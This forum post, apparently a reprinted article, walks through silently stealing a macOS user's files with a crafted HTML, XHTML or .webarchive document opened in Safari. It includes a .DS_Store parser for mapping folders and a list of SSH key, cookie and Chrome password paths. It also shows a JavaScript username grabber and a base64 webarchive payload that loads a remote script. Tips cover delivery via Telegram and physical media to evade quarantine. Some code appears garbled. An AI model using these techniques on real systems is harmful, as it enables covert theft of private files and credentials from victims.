Как утащить данные пользователя macOS с помощью одного документа

  • Автор темы Gidroponika
  • Дата начала
G

Gidroponika

Представь ситуацию: ты открываешь HTML-документ, и через какое-то время файлы с твоего жесткого диска оказываются у злоумышленника, притом абсолютно незаметно. Документы, код, SSH-ключи, пароли… Словом, улетают все файлы, которые ты, как текущий системный пользователь, имеешь право читать. Скажешь, невозможно? Современный браузер должен тебя защитить? Да, но у некоторых из них есть свои особенности.

В общих чертах атака работает следующим образом.

  1. Пользователь открывает HTML-страницу в браузере.
  2. Браузер читает список имеющихся на компьютере пользователя файлов.
  3. Браузер читает «важные» файлы и загружает их на удаленный сервер злоумышленника. При этом для пользователя весь процесс остается незаметным.
Разделим атаку условно на два этапа:

  • получение информации о файлах удаленного компьютера;
  • само чтение и отправка на наш сервер.
На первом этапе мы должны каким-то образом узнать список интересующих нас файлов на компьютере пользователя. Проблема в том, что никакого внятного способа сделать это нет. Ни один браузер не даст тебе с HTML-страницы прочесть локальную директорию ~/ и список файлов на рабочем столе.

Тыкаться наугад — тоже не вариант: да, мы знаем несколько «важных» путей вроде ~/.ssh/id_rsa, но в большинстве случаев файловая система пользователя, открывающего нашу «злую» страницу, — темный лес.

На втором этапе мы, имея полный набор путей, должны каким-то образом выйти за границы песочницы браузера, прочесть локальные файлы и загрузить к себе на сервер.

Вся информация носит только ознакомительный характер. Ни автор, ни канал не несут ответственности за ее ненадлежащее использование.​


Извлекаем список файлов
MacOS имеет забавную особенность. Если ты откроешь директорию с файлами, операционная система создаст специальный скрытый файл — .DS_Store. Этот файл хранит настройки просмотра папки в macOS, включает в себя информацию о расположении окна папки, размере окна, опции просмотра, которые были выбраны (значки, список или таблица), и внешний вид значков в окне. Система создает эти файлы автоматически. Другими словами, операционная система кеширует информацию о файлах для быстрого отображения директории.

В .DS_Store попадают превью изображений (как скрытый файл Thumbs.db в Windows), но в отличие от Windows в нем также содержатся имена файлов и директорий. Достаточно зайти в директорию с файлами, и операционка тут же создаст .DS_Store.

image2.png

Служебный файл .DS_Store автоматически создается в директории, когда в нее заходишь
Что в этом примечательного? А то, что .DS_Store можно распарсить и получить названия всех файлов в каталоге. Для этого подойдет одноименный модуль DSStore для Python. Вот пример кода, реализующего чтение .DS_Store:

Код:
##!/usr/bin/env python
from ds_store import DSStore
import json
path = '/Users/USERNAME/.DS_Store'
def parse(file):
    filelist = []
    for i in file:
        if i.filename!='.':
            filelist.append(i.filename)
    return list(set(filelist))
d=DSStore.open(path, 'r+')
fileresult=parse(d)
print(json.dumps(fileresult))
for name in fileresult:
    try:
        d = DSStore.open(path + name+ '/.DS_Store', 'r+')
        fileresult = parse(d)
        all.append(fileresult)
        print(json.dumps(fileresult))
    except:
        pass


Сохраним этот код в файл parse_ds_store.py и запустим. В моем случае результат работы выглядит как-то так:

Код:
$ python parse_ds_store.py
["Documents", "Pictures", ".idm", "Desktop", "Music", ".oracle_jre_usage", "Public", "tmp", "Parallels", "MEGA", ".BurpSuite", "Downloads", ".config", ".cache", "Applications", ".bash_sessions", "Creative Cloud Files", "PycharmProjects", "Applications (Parallels)", "Dropbox", "Nextcloud", ".iterm2", ".Trash", "Scripts", "Movies", "MEGAsync Downloads", "Soft", ".local", ".ssh", "Library", ".pgadmin"]

Что мы видим? А мы видим имена файлов и папок в домашней директории. Узнав их, можно обращаться к каждой следующей директории, искать .DS_Store там и таким образом получать иерархию файлов и папок, не имея доступа к листингу директорий.

Для примера парсим домашнюю папку (~/.DS_Store), получаем подобное содержимое:

Код:
["Backups", "Soft", "Pictures", ".ssh" ...]
Обращаемся к ~/Backups/.DS_Store, получаем:
Код:
["2017", "2016", "2015", ...]
На следующей итерации ~/Backups/2017/.DS_Store:
Код:
["source", "sql", "static", ...]


И так далее.

Пара замечаний:

  • тебе нужно знать имя пользователя в системе;
  • файл .DS_Store создается только там, куда заходит пользователь.
В остальном все отлично работает. Теперь слушай дальше.





Предсказываем пути для чувствительных файлов
Что же еще есть ценного у пользователя? В первую очередь директория .ssh, куда обычно сваливаются закрытые ключи.

Для начала вспомним о таких путях:

  • ~/.ssh/id_rsa;
  • ~/.ssh/id_rsa.key;
  • ~/.ssh/id_rsa.pub;
  • ~/.ssh/known_hosts;
  • ~/.ssh/authorized_keys.
И .bash_history — история введенных в терминал команд еще никому не помешала!



Собираем куки и не только
Займемся сбором печенек. Во-первых, macOS имеет предсказуемые пути хранения данных об аккаунтах в директории.

  • ~/Library/Cookies/Cookies.binarycookies
  • ~/Library/Cookies/com.apple.Safari.cookies
Там же будут лежать cookie от Twitter, Skype и прочих приложений.

Захватим и данные о HSTS — там найдутся посещенные сайты, которые вернули заголовок HSTS. Лишним не будет!

Код:
~/Library/Cookies/HSTS.plist

Информацию об аккаунтах в системе тоже заберем с собой.

Код:
~/Library/Accounts/Accounts4.sqlite
Ну и не Safari единым, обычно различные файлы и конфиги установленного софта лежат в пути

Код:
~/Library/Application Support/

Мы заберем только файлики Chrome:

Код:
~/Library/Application Support/Google/Chrome/Default/Login Data
~/Library/Application Support/Google/Chrome/Default/Cookies
~/Library/Application Support/Google/Chrome/Default/History

А ты пошарься, вдруг где хранятся интересные файлы каких-нибудь FTP/SQL-клиентов или история сообщений мессенджеров.







Получение полных путей к файлам пользователя
Что забрать с собой, мы уже выяснили. Теперь попробуем собрать эти файлы с помощью Safari.
В Chrome, к примеру, с ходу читать локальные файлы с помощью JavaScript не выйдет. Чтобы это сработало, Chrome нужно предварительно запустить со специальным аргументом (--disable-web-security). Safari тоже предупреждает, что работать с file:// он не умеет.

image3.png

Просто так читать file:// в Safari нельзя
Однако если HTML не был скачан из интернета, Safari более лоялен к такому виду запросов — отправив с помощью XHR запрос к локальному файлу, мы получим его содержимое:

image1.png

…но если файл локальный — то можно!
Благодаря этой особенности, зная полный путь к файлу, мы можем загрузить его содержимое и отправить на удаленный сервер!

Но вот незадача — как получить полный путь, если мы не знаем имя пользователя? А ведь в /etc/passwd вообще нет логинов пользователей (я проверял, да)!

Чтобы узнать имя пользователя, мы проверяем два log-файла, которые появляются, едва ты установишь и настроишь ОС.

Это файлы /var/log/system.log и /var/log/install.log. Не будет в одном — скорее всего, будет в другом. Загружаем эти файлы в браузер и с помощью регулярного выражения получаем имя пользователя.

Вот JS-функция для извлечения имени пользователя из файлов логов:
Код:
function getUser() {
    var xhr = new XMLHttpRequest();
    try {
        xhr.open('GET', '/var/log/system.log;/https:%2f%2fgoogle.com/', false);
        xhr.send();
        return xhr.responseText.match(//Users/w+//g)[0];
    } catch (e) {
        xhr.open('GET', '/var/log/install.log;/https:%2f%2fgoogle.com/', false);
        xhr.send();
        return xhr.responseText.match(//Users/w+//g)[0];
    }
}

Отправляем файлы на сервер
А теперь соединяем первую часть статьи и возможность читать файлы. Для PoC делаем серверную часть, принимаем от пользователя путь и содержимое. Если это .DS_Store, отдаем еще пути на парсинг.

Можно попробовать сделать черные и белые списки, например чтобы не качать тяжелые фильмы или, наоборот, качать только файлы .docx.​


Но что делать, если в системе установлены другие браузеры? HTML будет открыт с помощью Chrome или FF, и ничего не произойдет.

К счастью, есть пара расширений, которые открываются только Safari. Это XHTM и webarchive. Если с XHTM все понятно — это веб-страница на основе XML (а в нем можно выполнять JS), то с webarchive немного сложнее. Он имеет два формата, один из которых можно легко скрафтить вручную:

Код:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>WebMainResource</key>
    <dict>
        <key>WebResourceData</key>
        <data>
            PGh0bWw+PGhlYWQ+PC9oZWFkPjxib2R5PjxzY3JpcHQgc3JjPSdodHRwczo
            vL2JvMG9tLnJ1L3NhZmFyaV9wb2MvcmVhZGZpbGUuanMnPjwvc2NyaXB0Pj
            wvYm9keT48L2h0bWw+
        </data>
        <key>WebResourceFrameName</key>
        <string></string>
        <key>WebResourceMIMEType</key>
        <string>text/html</string>
        <key>WebResourceTextEncodingName</key>
        <string>UTF-8</string>
        <key>WebResourceURL</key>
        <string>file:///</string>
    </dict>
</dict>
</plist>


где data — это страница в Base64, в каждой строке которой 59 символов.



Возможности обхода ограничений флага Where from
По умолчанию для файлов, переданных по Сети, есть ограничение на выполнение такого кода.

image5.png

Срабатывает защита
Это значит, что, если просто послать файл по почте, он может не сработать.

Хорошая новость заключается в том, что не все программы выставляют флаг при скачивании файла. К примеру, версия Telegram для macOS этого не делает. В ряде тестов нам удалось прочесть файлы пользователя «вредоносным» файлом XHTM, переданным через десктопную версию Telegram для macOS, причем без архивирования и защиты паролем.

image6.png

PoC, переданный через Telegram Desktop, сработал!
Наверняка ты сможешь найти и другие примеры. И конечно же, готовый файл можно подсунуть жертве на физическом носителе во время проведения социотехнического тестирования.

Готовый сервер, а также два вида HTML-файла с полезной нагрузкой найдешь в этом репозитории.





Защита
На данный момент защиты от этой атаки нет. Могу посоветовать лишь смотреть, что открываешь, скачав из интернета, и по возможности не использовать браузер Safari. Apple, очевидно, не считает эту проблему уязвимостью, и на данный момент о патче ничего не слышно. Так что используй эту силу с умом, Люк!
 
Похожие темы
Admin Интересно Вашему RDP поставили «лайк». История о том, как горстка серверов прочесала Интернет и нашла все изъяны. Новости в сети 0
Admin Интересно Русские хакеры против картошки фри. Как взлом кассы самообслуживания обернулся годом условно. Новости в сети 0
Admin Интересно Тройная порция шантажа под соусом анонимности. Как одна банда притворяется сразу тремя разными группировками. Новости в сети 0
Admin Интересно Как соседей России заставляют выбирать между Европой и личным спокойствием. Новости в сети 0
Admin Интересно Позвони мне через пылесос. Как выживает рунет после блокировки мессенджеров. Новости в сети 0
Admin Интересно Ускоритель частиц размером с карандаш. Мощность — как у километрового. И это работает. Новости в сети 0
Admin Интересно Война правок и логотипов: Как Euro-Office поссорился с ONLYOFFICE из-за лицензии. Новости в сети 0
Admin Интересно Цифры врали. Не специально — просто их сложили неправильно. Вот как парадокс Симпсона ломает статистику. Новости в сети 0
Admin Интересно Цифровые активы после смерти: как управлять рисками для цифрового наследства. Новости в сети 0
Admin Интересно Тихий взлом и полная невидимость. Рассказываем, как новый вирус RoadK1ll захватывает корпоративные сети. Новости в сети 0
Admin Интересно Как заморозить воду быстрее? Сначала вскипятите её и плюньте на здравый смысл. Новости в сети 0
Admin Интересно Откройте доступ к коду из любой точки мира. Как работает новый проект rustunnel. Новости в сети 0
Admin Интересно Не просто «стенка с мониторами». Как за 6 недель создать работающий центр кибербезопасности. Новости в сети 0
Admin Интересно Хакеров много, а работать некому. Как кадровый голод обнуляет защиту мировых гигантов. Новости в сети 0
Admin Интересно Римские цифры, узелки инков и буква x в магазине: как запись чисел определила всю историю математики. Новости в сети 0
Admin Интересно 43% сотрудников опасаются, что ИИ лишит их работы. Как страх увольнения убивает эффективность бизнеса. Новости в сети 0
Admin Интересно Власти Венгрии решили завербовать сторонника оппозиции. Вышло как при коммунизме. Новости в сети 0
Admin Интересно Веб-семинар: Как проверить эффективность вашей защиты от реальных атак. Новости в сети 0
Admin Интересно Как заставить нейросеть удалить всё лишнее (и нужное тоже)? Разбираемся в «токсичных потоках». Новости в сети 0
Admin Интересно 27 граммов еды из 1 грамма бактерий. Как превратить марсианскую пыль в полноценный обед. Новости в сети 0
Admin Интересно Сложность облачных сред как главный враг кибербезопасности. Новости в сети 0
Admin Интересно Три миллиона IP-камер и роутеров по всему миру. Как спецслужбы разгромили гигантскую сеть ботнетов. Новости в сети 0
Admin Интересно Как короткий код превращает рабочую станцию в зомби. Новости в сети 0
Admin Интересно 20 часов до первого удара. Как ИИ-инструменты лишили системных администраторов сна. Новости в сети 0
Admin Интересно Форум SocioTech 2026: как объединить бизнес, информационную безопасность и персонал. Новости в сети 0
Admin Интересно GhostMail: как письмо о стажировке украло всю почту за 90 дней. Новости в сети 0
Admin Интересно Рынок шпионских программ: как посредники делают слежку анонимной и дорогой. Новости в сети 0
Admin Интересно Как быстро восстановить взломанный аккаунт: краткое руководство. Новости в сети 0
Admin Интересно Драйверы-предатели. Как легитимные программы помогают преступникам шифровать ваши данные. Новости в сети 0
Admin Интересно Практический онлайн-курс: как внедрить и настроить UserGate. Новости в сети 0
Admin Интересно Центральная предельная теорема: как случайности формируют закономерности. Новости в сети 0
Admin Интересно Как Mesh CSMA выявляет и устраняет пути атак на ключевые активы. Новости в сети 0
Admin Интересно Капча с двойным дном. Как обычное подтверждение, что вы не робот, превращается в установку шпиона. Новости в сети 0
Admin Интересно Кавычки решают всё. Как одна забытая проверка в коде подставила четверть миллиона владельцев сайтов. Новости в сети 0
Admin Интересно Спутники за миллиарды долларов боятся батарейки из супермаркета. Как военные и хулиганы «выключают» космос одной кнопкой. Новости в сети 0
Admin Интересно Anthropic запустила сервис для проверки кода, который работает как опытный разработчик. Новости в сети 0
Admin Интересно Как предотвратить утечку данных через ИИ: вебинар по аудиту современных агентских процессов. Новости в сети 0
Admin Интересно Фишинговая кампания перед выборами в Армении: как злоумышленники обошли защиту. Новости в сети 0
Admin Интересно Живые нейроны играют в «Doom»: как ученые заставили кусок плоти из пробирки расстреливать кибердемонов. Новости в сети 0
Admin Интересно Слишком сложно для Microsoft. Как три разработчика сделали сайт npm лучше, чем целая корпорация. Новости в сети 0
Admin Интересно Киберпреступники используют ICE как прикрытие для фишинговой кампании. Новости в сети 0
Admin Интересно Цифровой детокс по принуждению. Как юг Москвы неожиданно вернулся в эпоху до интернета. Новости в сети 0
Admin Интересно Как малый и средний бизнес использует исследования угроз и MDR для защиты. Новости в сети 0
Admin Интересно Claude AI демонстрирует, как технологии опережают правила и этику. Новости в сети 0
Admin Интересно Пчелиные соты, 24 измерения и нейросеть. Как ИИ проверил главную математическую работу десятилетия. Новости в сети 0
Admin Интересно Защита образования: как MDR может помочь школам в борьбе с киберугрозами. Новости в сети 0
Admin Интересно Укол вместо скальпеля. Ученые из MIT придумали, как вырастить «запасную» печень без операции. Новости в сети 0
Admin Интересно Робот стоит — лицо как живое. Улыбается — жуть. Пришлось собрать 200 тысяч 3D-лиц, чтобы научить машины мимике. Новости в сети 0
Admin Интересно Защита образования: как MDR помогает школам в борьбе с киберугрозами. Новости в сети 0
Admin Интересно Остров Рунет за триллион. Как Россия планирует окончательно отгородиться от мировой сети к 2028 году. Новости в сети 0

Название темы